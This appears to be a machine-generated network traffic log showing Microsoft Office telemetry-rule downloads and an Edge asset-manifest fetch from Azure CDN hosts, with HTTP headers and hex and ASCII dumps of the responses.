2024-10-30 14:59:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:32 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145932Z-16849878b78g2m84h2v9sta29000000007500000000076ev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:32 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:08 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:09 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9b80997a-f01e-0003-4c76-2a4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145909Z-r197bdfb6b4c8q4qvwwy2byzsw00000008k0000000006pv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:09 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:32 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:32 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:32 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145932Z-16849878b7828dsgct3vrzta7000000006hg00000000nrua x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:32 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:08 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: f0c209fa-601e-00ab-740d-2966f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145909Z-17c5cb586f6f8m6jnehy0z65x400000007d000000000g1r1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:08 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:09 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: b80877bf-b01e-0084-28e3-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145909Z-17c5cb586f6gkqkwd0x1ge8t0400000008s0000000007uqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:09 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:08 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: e631ddcb-001e-0065-1f99-2a0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145909Z-r197bdfb6b4cnxt4mv5f3apubw00000000u000000000a6p2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">
2024-10-30 14:59:32 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:32 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5ab4434b-401e-000a-2f95-2a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145932Z-r197bdfb6b4mcssrk8cfa4gm1g00000001xg00000000apxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:32 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:09 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30dbe6fd-101e-0034-66db-2696ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145909Z-17c5cb586f6sqz6f73fsew1zd800000001zg000000005atf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:09 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:09 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 8b96f0ab-501e-008c-5135-2acd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145909Z-r197bdfb6b4wbz6dd37axgrp9s000000014g0000000027zh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:09 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:32 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 14:59:33 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:32 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 7344f907-e01e-0000-2090-286807000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T145932Z-16849878b78qg9mlz11wgn0wcc00000007s000000000gm4p Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:33 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-10-30 14:59:33 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-10-30 14:59:33 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-10-30 14:59:33 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
